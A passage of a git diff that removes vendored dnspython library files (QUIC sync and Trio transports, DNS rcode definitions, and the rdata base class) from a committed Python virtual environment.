= self._expiration_from_timeout(timeout) - if self._connection.is_h3(): - self.wait_for_end(expiration) - with self._lock: - return self._buffer.get_all() - else: - self.wait_for(2, expiration) - with self._lock: - (size,) = struct.unpack("!H", self._buffer.get(2)) - self.wait_for(size, expiration) - with self._lock: - return self._buffer.get(size) - - def send(self, datagram, is_end=False): - data = self._encapsulate(datagram) - self._connection.write(self._stream_id, data, is_end) - - def _add_input(self, data, is_end): - if self._common_add_input(data, is_end): - with self._wake_up: - self._wake_up.notify() - - def close(self): - with self._lock: - self._close() - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - self.close() - with self._wake_up: - self._wake_up.notify() - return False - - -class SyncQuicConnection(BaseQuicConnection): - def __init__(self, connection, address, port, source, source_port, manager): - super().__init__(connection, address, port, source, source_port, manager) - self._socket = socket_factory(self._af, socket.SOCK_DGRAM, 0) - if self._source is not None: - try: - self._socket.bind( - dns.inet.low_level_address_tuple(self._source, self._af) - ) - except Exception: - self._socket.close() - raise - self._socket.connect(self._peer) - (self._send_wakeup, self._receive_wakeup) = socket.socketpair() - self._receive_wakeup.setblocking(False) - self._socket.setblocking(False) - self._handshake_complete = threading.Event() - self._worker_thread = None - self._lock = threading.Lock() - - def _read(self): - count = 0 - while count < 10: - count += 1 - try: - datagram = self._socket.recv(QUIC_MAX_DATAGRAM) - except BlockingIOError: - return - with self._lock: - self._connection.receive_datagram(datagram, self._peer, time.time()) - - def _drain_wakeup(self): - while True: - try: - self._receive_wakeup.recv(32) - except BlockingIOError: - return - - def _worker(self): - try: - with selectors.DefaultSelector() as sel: - sel.register(self._socket, selectors.EVENT_READ, self._read) - sel.register( - self._receive_wakeup, selectors.EVENT_READ, self._drain_wakeup - ) - while not self._done: - (expiration, interval) = self._get_timer_values(False) - items = sel.select(interval) - for key, _ in items: - key.data() - with self._lock: - self._handle_timer(expiration) - self._handle_events() - with self._lock: - datagrams = self._connection.datagrams_to_send(time.time()) - for datagram, _ in datagrams: - try: - self._socket.send(datagram) - except BlockingIOError: - # we let QUIC handle any lossage - pass - except Exception: - # Eat all exceptions as we have no way to pass them back to the - # caller currently. It might be nice to fix this in the future. - pass - finally: - with self._lock: - self._done = True - self._socket.close() - # Ensure anyone waiting for this gets woken up. - self._handshake_complete.set() - - def _handle_events(self): - while True: - with self._lock: - event = self._connection.next_event() - if event is None: - return - if isinstance(event, aioquic.quic.events.StreamDataReceived): - if self.is_h3(): - assert self._h3_conn is not None - h3_events = self._h3_conn.handle_event(event) - for h3_event in h3_events: - if isinstance(h3_event, aioquic.h3.events.HeadersReceived): - with self._lock: - stream = self._streams.get(event.stream_id) - if stream: - if stream._headers is None: - stream._headers = h3_event.headers - elif stream._trailers is None: - stream._trailers = h3_event.headers - if h3_event.stream_ended: - stream._add_input(b"", True) - elif isinstance(h3_event, aioquic.h3.events.DataReceived): - with self._lock: - stream = self._streams.get(event.stream_id) - if stream: - stream._add_input(h3_event.data, h3_event.stream_ended) - else: - with self._lock: - stream = self._streams.get(event.stream_id) - if stream: - stream._add_input(event.data, event.end_stream) - elif isinstance(event, aioquic.quic.events.HandshakeCompleted): - self._handshake_complete.set() - elif isinstance(event, aioquic.quic.events.ConnectionTerminated): - with self._lock: - self._done = True - elif isinstance(event, aioquic.quic.events.StreamReset): - with self._lock: - stream = self._streams.get(event.stream_id) - if stream: - stream._add_input(b"", True) - - def write(self, stream, data, is_end=False): - with self._lock: - self._connection.send_stream_data(stream, data, is_end) - self._send_wakeup.send(b"\x01") - - def send_headers(self, stream_id, headers, is_end=False): - with self._lock: - super().send_headers(stream_id, headers, is_end) - if is_end: - self._send_wakeup.send(b"\x01") - - def send_data(self, stream_id, data, is_end=False): - with self._lock: - super().send_data(stream_id, data, is_end) - if is_end: - self._send_wakeup.send(b"\x01") - - def run(self): - if self._closed: - return - self._worker_thread = threading.Thread(target=self._worker) - self._worker_thread.start() - - def make_stream(self, timeout=None): - if not self._handshake_complete.wait(timeout): - raise dns.exception.Timeout - with self._lock: - if self._done: - raise UnexpectedEOF - stream_id = self._connection.get_next_available_stream_id(False) - stream = SyncQuicStream(self, stream_id) - self._streams[stream_id] = stream - return stream - - def close_stream(self, stream_id): - with self._lock: - super().close_stream(stream_id) - - def close(self): - with self._lock: - if self._closed: - return - if self._manager is not None: - self._manager.closed(self._peer[0], self._peer[1]) - self._closed = True - self._connection.close() - self._send_wakeup.send(b"\x01") - if self._worker_thread is not None: - self._worker_thread.join() - - -class SyncQuicManager(BaseQuicManager): - def __init__( - self, conf=None, verify_mode=ssl.CERT_REQUIRED, server_name=None, h3=False - ): - super().__init__(conf, verify_mode, SyncQuicConnection, server_name, h3) - self._lock = threading.Lock() - - def connect( - self, - address, - port=853, - source=None, - source_port=0, - want_session_ticket=True, - want_token=True, - ): - with self._lock: - (connection, start) = self._connect( - address, port, source, source_port, want_session_ticket, want_token - ) - if start: - connection.run() - return connection - - def closed(self, address, port): - with self._lock: - super().closed(address, port) - - def save_session_ticket(self, address, port, ticket): - with self._lock: - super().save_session_ticket(address, port, ticket) - - def save_token(self, address, port, token): - with self._lock: - super().save_token(address, port, token) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - # Copy the iterator into a list as exiting things will mutate the connections - # table. - connections = list(self._connections.values()) - for connection in connections: - connection.close() - return False diff --git a/venv/Lib/site-packages/dns/quic/_trio.py b/venv/Lib/site-packages/dns/quic/_trio.py deleted file mode 100644 index 046e6aab6097d38c4a1472adbe560eb1fb214258..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/quic/_trio.py +++ /dev/null @@ -1,250 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import socket -import ssl -import struct -import time - -import aioquic.h3.connection # type: ignore -import aioquic.h3.events # type: ignore -import aioquic.quic.configuration # type: ignore -import aioquic.quic.connection # type: ignore -import aioquic.quic.events # type: ignore -import trio - -import dns.exception -import dns.inet -from dns._asyncbackend import NullContext -from dns.quic._common import ( - QUIC_MAX_DATAGRAM, - AsyncQuicConnection, - AsyncQuicManager, - BaseQuicStream, - UnexpectedEOF, -) - - -class TrioQuicStream(BaseQuicStream): - def __init__(self, connection, stream_id): - super().__init__(connection, stream_id) - self._wake_up = trio.Condition() - - async def wait_for(self, amount): - while True: - if self._buffer.have(amount): - return - self._expecting = amount - async with self._wake_up: - await self._wake_up.wait() - self._expecting = 0 - - async def wait_for_end(self): - while True: - if self._buffer.seen_end(): - return - async with self._wake_up: - await self._wake_up.wait() - - async def receive(self, timeout=None): - if timeout is None: - context = NullContext(None) - else: - context = trio.move_on_after(timeout) - with context: - if self._connection.is_h3(): - await self.wait_for_end() - return self._buffer.get_all() - else: - await self.wait_for(2) - (size,) = struct.unpack("!H", self._buffer.get(2)) - await self.wait_for(size) - return self._buffer.get(size) - raise dns.exception.Timeout - - async def send(self, datagram, is_end=False): - data = self._encapsulate(datagram) - await self._connection.write(self._stream_id, data, is_end) - - async def _add_input(self, data, is_end): - if self._common_add_input(data, is_end): - async with self._wake_up: - self._wake_up.notify() - - async def close(self): - self._close() - - # Streams are async context managers - - async def __aenter__(self): - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - await self.close() - async with self._wake_up: - self._wake_up.notify() - return False - - -class TrioQuicConnection(AsyncQuicConnection): - def __init__(self, connection, address, port, source, source_port, manager=None): - super().__init__(connection, address, port, source, source_port, manager) - self._socket = trio.socket.socket(self._af, socket.SOCK_DGRAM, 0) - self._handshake_complete = trio.Event() - self._run_done = trio.Event() - self._worker_scope = None - self._send_pending = False - - async def _worker(self): - try: - if self._source: - await self._socket.bind( - dns.inet.low_level_address_tuple(self._source, self._af) - ) - await self._socket.connect(self._peer) - while not self._done: - (expiration, interval) = self._get_timer_values(False) - if self._send_pending: - # Do not block forever if sends are pending. Even though we - # have a wake-up mechanism if we've already started the blocking - # read, the possibility of context switching in send means that - # more writes can happen while we have no wake up context, so - # we need self._send_pending to avoid (effectively) a "lost wakeup" - # race. - interval = 0.0 - with trio.CancelScope( - deadline=trio.current_time() + interval # pyright: ignore - ) as self._worker_scope: - datagram = await self._socket.recv(QUIC_MAX_DATAGRAM) - self._connection.receive_datagram(datagram, self._peer, time.time()) - self._worker_scope = None - self._handle_timer(expiration) - await self._handle_events() - # We clear this now, before sending anything, as sending can cause - # context switches that do more sends. We want to know if that - # happens so we don't block a long time on the recv() above. - self._send_pending = False - datagrams = self._connection.datagrams_to_send(time.time()) - for datagram, _ in datagrams: - await self._socket.send(datagram) - finally: - self._done = True - self._socket.close() - self._handshake_complete.set() - - async def _handle_events(self): - count = 0 - while True: - event = self._connection.next_event() - if event is None: - return - if isinstance(event, aioquic.quic.events.StreamDataReceived): - if self.is_h3(): - assert self._h3_conn is not None - h3_events = self._h3_conn.handle_event(event) - for h3_event in h3_events: - if isinstance(h3_event, aioquic.h3.events.HeadersReceived): - stream = self._streams.get(event.stream_id) - if stream: - if stream._headers is None: - stream._headers = h3_event.headers - elif stream._trailers is None: - stream._trailers = h3_event.headers - if h3_event.stream_ended: - await stream._add_input(b"", True) - elif isinstance(h3_event, aioquic.h3.events.DataReceived): - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input( - h3_event.data, h3_event.stream_ended - ) - else: - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input(event.data, event.end_stream) - elif isinstance(event, aioquic.quic.events.HandshakeCompleted): - self._handshake_complete.set() - elif isinstance(event, aioquic.quic.events.ConnectionTerminated): - self._done = True - self._socket.close() - elif isinstance(event, aioquic.quic.events.StreamReset): - stream = self._streams.get(event.stream_id) - if stream: - await stream._add_input(b"", True) - count += 1 - if count > 10: - # yield - count = 0 - await trio.sleep(0) - - async def write(self, stream, data, is_end=False): - self._connection.send_stream_data(stream, data, is_end) - self._send_pending = True - if self._worker_scope is not None: - self._worker_scope.cancel() - - async def run(self): - if self._closed: - return - async with trio.open_nursery() as nursery: - nursery.start_soon(self._worker) - self._run_done.set() - - async def make_stream(self, timeout=None): - if timeout is None: - context = NullContext(None) - else: - context = trio.move_on_after(timeout) - with context: - await self._handshake_complete.wait() - if self._done: - raise UnexpectedEOF - stream_id = self._connection.get_next_available_stream_id(False) - stream = TrioQuicStream(self, stream_id) - self._streams[stream_id] = stream - return stream - raise dns.exception.Timeout - - async def close(self): - if not self._closed: - if self._manager is not None: - self._manager.closed(self._peer[0], self._peer[1]) - self._closed = True - self._connection.close() - self._send_pending = True - if self._worker_scope is not None: - self._worker_scope.cancel() - await self._run_done.wait() - - -class TrioQuicManager(AsyncQuicManager): - def __init__( - self, - nursery, - conf=None, - verify_mode=ssl.CERT_REQUIRED, - server_name=None, - h3=False, - ): - super().__init__(conf, verify_mode, TrioQuicConnection, server_name, h3) - self._nursery = nursery - - def connect( - self, address, port=853, source=None, source_port=0, want_session_ticket=True - ): - (connection, start) = self._connect( - address, port, source, source_port, want_session_ticket - ) - if start: - self._nursery.start_soon(connection.run) - return connection - - async def __aenter__(self): - return self - - async def __aexit__(self, exc_type, exc_val, exc_tb): - # Copy the iterator into a list as exiting things will mutate the connections - # table. - connections = list(self._connections.values()) - for connection in connections: - await connection.close() - return False diff --git a/venv/Lib/site-packages/dns/rcode.py b/venv/Lib/site-packages/dns/rcode.py deleted file mode 100644 index 7bb8467e26ec50189ac668ae6d51e2792107888f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rcode.py +++ /dev/null @@ -1,168 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Result Codes.""" - -from typing import Tuple, Type - -import dns.enum -import dns.exception - - -class Rcode(dns.enum.IntEnum): - #: No error - NOERROR = 0 - #: Format error - FORMERR = 1 - #: Server failure - SERVFAIL = 2 - #: Name does not exist ("Name Error" in RFC 1025 terminology). - NXDOMAIN = 3 - #: Not implemented - NOTIMP = 4 - #: Refused - REFUSED = 5 - #: Name exists. - YXDOMAIN = 6 - #: RRset exists. - YXRRSET = 7 - #: RRset does not exist. - NXRRSET = 8 - #: Not authoritative. - NOTAUTH = 9 - #: Name not in zone. - NOTZONE = 10 - #: DSO-TYPE Not Implemented - DSOTYPENI = 11 - #: Bad EDNS version. - BADVERS = 16 - #: TSIG Signature Failure - BADSIG = 16 - #: Key not recognized. - BADKEY = 17 - #: Signature out of time window. - BADTIME = 18 - #: Bad TKEY Mode. - BADMODE = 19 - #: Duplicate key name. - BADNAME = 20 - #: Algorithm not supported. - BADALG = 21 - #: Bad Truncation - BADTRUNC = 22 - #: Bad/missing Server Cookie - BADCOOKIE = 23 - - @classmethod - def _maximum(cls): - return 4095 - - @classmethod - def _unknown_exception_class(cls) -> Type[Exception]: - return UnknownRcode - - -class UnknownRcode(dns.exception.DNSException): - """A DNS rcode is unknown.""" - - -def from_text(text: str) -> Rcode: - """Convert text into an rcode. - - *text*, a ``str``, the textual rcode or an integer in textual form. - - Raises ``dns.rcode.UnknownRcode`` if the rcode mnemonic is unknown. - - Returns a ``dns.rcode.Rcode``. - """ - - return Rcode.from_text(text) - - -def from_flags(flags: int, ednsflags: int) -> Rcode: - """Return the rcode value encoded by flags and ednsflags. - - *flags*, an ``int``, the DNS flags field. - - *ednsflags*, an ``int``, the EDNS flags field. - - Raises ``ValueError`` if rcode is < 0 or > 4095 - - Returns a ``dns.rcode.Rcode``. - """ - - value = (flags & 0x000F) | ((ednsflags >> 20) & 0xFF0) - return Rcode.make(value) - - -def to_flags(value: Rcode) -> Tuple[int, int]: - """Return a (flags, ednsflags) tuple which encodes the rcode. - - *value*, a ``dns.rcode.Rcode``, the rcode. - - Raises ``ValueError`` if rcode is < 0 or > 4095. - - Returns an ``(int, int)`` tuple. - """ - - if value < 0 or value > 4095: - raise ValueError("rcode must be >= 0 and <= 4095") - v = value & 0xF - ev = (value & 0xFF0) << 20 - return (v, ev) - - -def to_text(value: Rcode, tsig: bool = False) -> str: - """Convert rcode into text. - - *value*, a ``dns.rcode.Rcode``, the rcode. - - Raises ``ValueError`` if rcode is < 0 or > 4095. - - Returns a ``str``. - """ - - if tsig and value == Rcode.BADVERS: - return "BADSIG" - return Rcode.to_text(value) - - -### BEGIN generated Rcode constants - -NOERROR = Rcode.NOERROR -FORMERR = Rcode.FORMERR -SERVFAIL = Rcode.SERVFAIL -NXDOMAIN = Rcode.NXDOMAIN -NOTIMP = Rcode.NOTIMP -REFUSED = Rcode.REFUSED -YXDOMAIN = Rcode.YXDOMAIN -YXRRSET = Rcode.YXRRSET -NXRRSET = Rcode.NXRRSET -NOTAUTH = Rcode.NOTAUTH -NOTZONE = Rcode.NOTZONE -DSOTYPENI = Rcode.DSOTYPENI -BADVERS = Rcode.BADVERS -BADSIG = Rcode.BADSIG -BADKEY = Rcode.BADKEY -BADTIME = Rcode.BADTIME -BADMODE = Rcode.BADMODE -BADNAME = Rcode.BADNAME -BADALG = Rcode.BADALG -BADTRUNC = Rcode.BADTRUNC -BADCOOKIE = Rcode.BADCOOKIE - -### END generated Rcode constants diff --git a/venv/Lib/site-packages/dns/rdata.py b/venv/Lib/site-packages/dns/rdata.py deleted file mode 100644 index c4522e68308d58e7139a13bc5e736cca5519d919..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdata.py +++ /dev/null @@ -1,935 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS rdata.""" - -import base64 -import binascii -import inspect -import io -import ipaddress -import itertools -import random -from importlib import import_module -from typing import Any, Dict, Tuple - -import dns.exception -import dns.immutable -import dns.ipv4 -import dns.ipv6 -import dns.name -import dns.rdataclass -import dns.rdatatype -import dns.tokenizer -import dns.ttl -import dns.wire - -_chunksize = 32 - -# We currently allow comparisons for rdata with relative names for backwards -# compatibility, but in the future we will not, as these kinds of comparisons -# can lead to subtle bugs if code is not carefully written. -# -# This switch allows the future behavior to be turned on so code can be -# tested with it. -_allow_relative_comparisons = True - - -class NoRelativeRdataOrdering(dns.exception.DNSException): - """An attempt was made to do an ordered comparison of one or more - rdata with relative names. The only reliable way of sorting rdata - is to use non-relativized rdata. - - """ - - -def _wordbreak(data, chunksize=_chunksize, separator=b" "): - """Break a binary string into chunks of chunksize characters separated by - a space. - """ - - if not chunksize: - return data.decode() - return separator.join( - [data[i : i + chunksize] for i in range(0, len(data), chunksize)] - ).decode() - - -# pylint: disable=unused-argument - - -def _hexify(data, chunksize=_chunksize, separator=b" ", **kw): - """Convert a binary string into its hex encoding, broken up into chunks - of chunksize characters separated by a separator. - """ - - return _wordbreak(binascii.hexlify(data), chunksize, separator) - - -def _base64ify(data, chunksize=_chunksize, separator=b" ", **kw): - """Convert a binary string into its base64 encoding, broken up into chunks - of chunksize characters separated by a separator. - """ - - return _wordbreak(base64.b64encode(data), chunksize, separator) - - -# pylint: enable=unused-argument - -__escaped = b'"\\' - - -def _escapify(qstring): - """Escape the characters in a quoted string which need it.""" - - if isinstance(qstring, str): - qstring = qstring.encode() - if not isinstance(qstring, bytearray): - qstring = bytearray(qstring) - - text = "" - for c in qstring: - if c in __escaped: - text += "\\" + chr(c) - elif c >= 0x20 and c < 0x7F: - text += chr(c) - else: - text += f"\\{c:03d}" - return text - - -def _truncate_bitmap(what): - """Determine the index of greatest byte that isn't all zeros, and - return the bitmap that contains all the bytes less than that index. - """ - - for i in range(len(what) - 1, -1, -1): - if what[i] != 0: - return what[0 : i + 1] - return what[0:1] - - -# So we don't have to edit all the rdata classes... -_constify = dns.immutable.constify - - -@dns.immutable.immutable -class Rdata: - """Base class for all DNS rdata types.""" - - __slots__ = ["rdclass", "rdtype", "rdcomment"] - - def __init__( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - ) -> None: - """Initialize an rdata. - - *rdclass*, an ``int`` is the rdataclass of the Rdata. - - *rdtype*, an ``int`` is the rdatatype of the Rdata. - """ - - self.rdclass = self._as_rdataclass(rdclass) - self.rdtype = self._as_rdatatype(rdtype) - self.rdcomment = None - - def _get_all_slots(self): - return itertools.chain.from_iterable( - getattr(cls, "__slots__", []) for cls in self.__class__.__mro__ - ) - - def __getstate__(self): - # We used to try to do a tuple of all slots here, but it - # doesn't work as self._all_slots isn't available at - # __setstate__() time. Before that we tried to store a tuple - # of __slots__, but that didn't work as it didn't store the - # slots defined by ancestors. This older way didn't fail - # outright, but ended up with partially broken objects, e.g. - # if you unpickled an A RR it wouldn't have rdclass and rdtype - # attributes, and would compare badly. - state = {} - for slot in self._get_all_slots(): - state[slot] = getattr(self, slot) - return state - - def __setstate__(self, state): - for slot, val in state.items(): - object.__setattr__(self, slot, val) - if not hasattr(self, "rdcomment"): - # Pickled rdata from 2.0.x might not have a rdcomment, so add - # it if needed. - object.__setattr__(self, "rdcomment", None) - - def covers(self) -> dns.rdatatype.RdataType: - """Return the type a Rdata covers. - - DNS SIG/RRSIG rdatas apply to a specific type; this type is - returned by the covers() function. If the rdata type is not - SIG or RRSIG, dns.rdatatype.NONE is returned. This is useful when - creating rdatasets, allowing the rdataset to contain only RRSIGs - of a particular type, e.g. RRSIG(NS). - - Returns a ``dns.rdatatype.RdataType``. - """ - - return dns.rdatatype.NONE - - def extended_rdatatype(self) -> int: - """Return a 32-bit type value, the least significant 16 bits of - which are the ordinary DNS type, and the upper 16 bits of which are - the "covered" type, if any. - - Returns an ``int``. - """ - - return self.covers() << 16 | self.rdtype - - def to_text( - self, - origin: dns.name.Name | None = None, - relativize: bool = True, - **kw: Dict[str, Any], - ) -> str: - """Convert an rdata to text format. - - Returns a ``str``. - """ - - raise NotImplementedError # pragma: no cover - - def _to_wire( - self, - file: Any, - compress: dns.name.CompressType | None = None, - origin: dns.name.Name | None = None, - canonicalize: bool = False, - ) -> None: - raise NotImplementedError # pragma: no cover - - def to_wire( - self, - file: Any | None = None, - compress: dns.name.CompressType | None = None, - origin: dns.name.Name | None = None, - canonicalize: bool = False, - ) -> bytes | None: - """Convert an rdata to wire format. - - Returns a ``bytes`` if no output file was specified, or ``None`` otherwise. - """ - - if file: - # We call _to_wire() and then return None explicitly instead of - # of just returning the None from _to_wire() as mypy's func-returns-value - # unhelpfully errors out with "error: "_to_wire" of "Rdata" does not return - # a value (it only ever returns None)" - self._to_wire(file, compress, origin, canonicalize) - return None - else: - f = io.BytesIO() - self._to_wire(f, compress, origin, canonicalize) - return f.getvalue() - - def to_generic(self, origin: dns.name.Name | None = None) -> "GenericRdata": - """Creates a dns.rdata.GenericRdata equivalent of this rdata. - - Returns a ``dns.rdata.GenericRdata``. - """ - wire = self.to_wire(origin=origin) - assert wire is not None # for type checkers - return GenericRdata(self.rdclass, self.rdtype, wire) - - def to_digestable(self, origin: dns.name.Name | None = None) -> bytes: - """Convert rdata to a format suitable for digesting in hashes. This - is also the DNSSEC canonical form. - - Returns a ``bytes``. - """ - wire = self.to_wire(origin=origin, canonicalize=True) - assert wire is not None # for mypy - return wire - - def __repr__(self): - covers = self.covers() - if covers == dns.rdatatype.NONE: - ctext = "" - else: - ctext = "(" + dns.rdatatype.to_text(covers) + ")" - return ( - "" - ) - - def __str__(self): - return self.to_text() - - def _cmp(self, other): - """Compare an rdata with another rdata of the same rdtype and - rdclass. - - For rdata with only absolute names: - Return < 0 if self < other in the DNSSEC ordering, 0 if self - == other, and > 0 if self > other. - For rdata with at least one relative names: - The rdata sorts before any rdata with only absolute names. - When compared with another relative rdata, all names are - made absolute as if they were relative to the root, as the - proper origin is not available. While this creates a stable - ordering, it is NOT guaranteed to be the DNSSEC ordering. - In the future, all ordering comparisons for rdata with - relative names will be disallowed. - """ - # the next two lines are for type checkers, so they are bound - our = b"" - their = b"" - try: - our = self.to_digestable() - our_relative = False - except dns.name.NeedAbsoluteNameOrOrigin: - if _allow_relative_comparisons: - our = self.to_digestable(dns.name.root) - our_relative = True - try: - their = other.to_digestable() - their_relative = False - except dns.name.NeedAbsoluteNameOrOrigin: - if _allow_relative_comparisons: - their = other.to_digestable(dns.name.root) - their_relative = True - if _allow_relative_comparisons: - if our_relative != their_relative: - # For the purpose of comparison, all rdata with at least one - # relative name is less than an rdata with only absolute names. - if our_relative: - return -1 - else: - return 1 - elif our_relative or their_relative: - raise NoRelativeRdataOrdering - if our == their: - return 0 - elif our > their: - return 1 - else: - return -1 - - def __eq__(self, other): - if not isinstance(other, Rdata): - return False - if self.rdclass != other.rdclass or self.rdtype != other.rdtype: - return False - our_relative = False - their_relative = False - try: - our = self.to_digestable() - except dns.name.NeedAbsoluteNameOrOrigin: - our = self.to_digestable(dns.name.root) - our_relative = True - try: - their = other.to_digestable() - except dns.name.NeedAbsoluteNameOrOrigin: - their = other.to_digestable(dns.name.root) - their_relative = True - if our_relative != their_relative: - return False - return our == their - - def __ne__(self, other): - if not isinstance(other, Rdata): - return True - if self.rdclass != other.rdclass or self.rdtype != other.rdtype: - return True - return not self.__eq__(other) - - def __lt__(self, other): - if ( - not isinstance(other, Rdata) - or self.rdclass != other.rdclass - or self.rdtype != other.rdtype - ): - return NotImplemented - return self._cmp(other) < 0 - - def __le__(self, other): - if ( - not isinstance(other, Rdata) - or self.rdclass != other.rdclass - or self.rdtype != other.rdtype - ): - return NotImplemented - return self._cmp(other) <= 0 - - def __ge__(self, other): - if ( - not isinstance(other, Rdata) - or self.rdclass != other.rdclass - or self.rdtype != other.rdtype - ): - return NotImplemented - return self._cmp(other) >= 0 - - def __gt__(self, other): - if ( - not isinstance(other, Rdata) - or self.rdclass != other.rdclass - or self.rdtype != other.rdtype - ): - return NotImplemented - return self._cmp(other) > 0 - - def __hash__(self): - return hash(self.to_digestable(dns.name.root)) - - @classmethod - def from_text( - cls, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - tok: dns.tokenizer.Tokenizer, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, - ) -> "Rdata": - raise NotImplementedError # pragma: no cover - - @classmethod - def from_wire_parser( - cls, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - parser: dns.wire.Parser, - origin: dns.name.Name | None = None, - ) -> "Rdata": - raise NotImplementedError # pragma: no cover - - def replace(self, **kwargs: Any) -> "Rdata": - """ - Create a new Rdata instance based on the instance replace was - invoked on. It is possible to pass different parameters to - override the corresponding properties of the base Rdata. - - Any field specific to the Rdata type can be replaced, but the - *rdtype* and *rdclass* fields cannot. - - Returns an instance of the same Rdata subclass as *self*. - """ - - # Get the constructor parameters. - parameters = inspect.signature(self.__init__).parameters # type: ignore - - # Ensure that all of the arguments correspond to valid fields. - # Don't allow rdclass or rdtype to be changed, though. - for key in kwargs: - if key == "rdcomment": - continue - if key not in parameters: - raise AttributeError( - f"'{self.__class__.__name__}' object has no attribute '{key}'" - ) - if key in ("rdclass", "rdtype"): - raise AttributeError( - f"Cannot overwrite '{self.__class__.__name__}' attribute '{key}'" - ) - - # Construct the parameter list. For each field, use the value in - # kwargs if present, and the current value otherwise. - args = (kwargs.get(key, getattr(self, key)) for key in parameters) - - # Create, validate, and return the new object. - rd = self.__class__(*args) - # The comment is not set in the constructor, so give it special - # handling. - rdcomment = kwargs.get("rdcomment", self.rdcomment) - if rdcomment is not None: - object.__setattr__(rd, "rdcomment", rdcomment) - return rd - - # Type checking and conversion helpers. These are class methods as - # they don't touch object state and may be useful to others. - - @classmethod - def _as_rdataclass(cls, value): - return dns.rdataclass.RdataClass.make(value) - - @classmethod - def _as_rdatatype(cls, value): - return dns.rdatatype.RdataType.make(value) - - @classmethod - def _as_bytes( - cls, - value: Any, - encode: bool = False, - max_length: int | None = None, - empty_ok: bool = True, - ) -> bytes: - if encode and isinstance(value, str): - bvalue = value.encode() - elif isinstance(value, bytearray): - bvalue = bytes(value) - elif isinstance(value, bytes): - bvalue = value - else: - raise ValueError("not bytes") - if max_length is not None and len(bvalue) > max_length: - raise ValueError("too long") - if not empty_ok and len(bvalue) == 0: - raise ValueError("empty bytes not allowed") - return bvalue - - @classmethod - def _as_name(cls, value): - # Note that proper name conversion (e.g. with origin and IDNA - # awareness) is expected to be done via from_text. This is just - # a simple thing for people invoking the constructor directly. - if isinstance(value, str): - return dns.name.from_text(value) - elif not isinstance(value, dns.name.Name): - raise ValueError("not a name") - return value - - @classmethod - def _as_uint8(cls, value): - if not isinstance(value, int): - raise ValueError("not an integer") - if value < 0 or value > 255: - raise ValueError("not a uint8") - return value - - @classmethod - def _as_uint16(cls, value): - if not isinstance(value, int): - raise ValueError("not an integer") - if value < 0 or value > 65535: - raise ValueError("not a uint16") - return value - - @classmethod - def _as_uint32(cls, value): - if not isinstance(value, int): - raise ValueError("not an integer") - if value < 0 or value > 4294967295: - raise ValueError("not a uint32") - return value - - @classmethod - def _as_uint48(cls, value): - if not isinstance(value, int): - raise ValueError("not an integer") - if value < 0 or value > 281474976710655: - raise ValueError("not a uint48") - return value - - @classmethod - def _as_int(cls, value, low=None, high=None): - if not isinstance(value, int): - raise ValueError("not an integer") - if low is not None and value < low: - raise ValueError("value too small") - if high is not None and value > high: - raise ValueError("value too large") - return value - - @classmethod - def _as_ipv4_address(cls, value): - if isinstance(value, str): - return dns.ipv4.canonicalize(value) - elif isinstance(value, bytes): - return dns.ipv4.inet_ntoa(value) - elif isinstance(value, ipaddress.IPv4Address): - return dns.ipv4.inet_ntoa(value.packed) - else: - raise ValueError("not an IPv4 address") - - @classmethod - def _as_ipv6_address(cls, value): - if isinstance(value, str): - return dns.ipv6.canonicalize(value) - elif isinstance(value, bytes): - return dns.ipv6.inet_ntoa(value) - elif isinstance(value, ipaddress.IPv6Address): - return dns.ipv6.inet_ntoa(value.packed) - else: - raise ValueError("not an IPv6 address") - - @classmethod - def _as_bool(cls, value): - if isinstance(value, bool): - return value - else: - raise ValueError("not a boolean") - - @classmethod - def _as_ttl(cls, value): - if isinstance(value, int): - return cls._as_int(value, 0, dns.ttl.MAX_TTL) - elif isinstance(value, str): - return dns.ttl.from_text(value) - else: - raise ValueError("not a TTL") - - @classmethod - def _as_tuple(cls, value, as_value): - try: - # For user 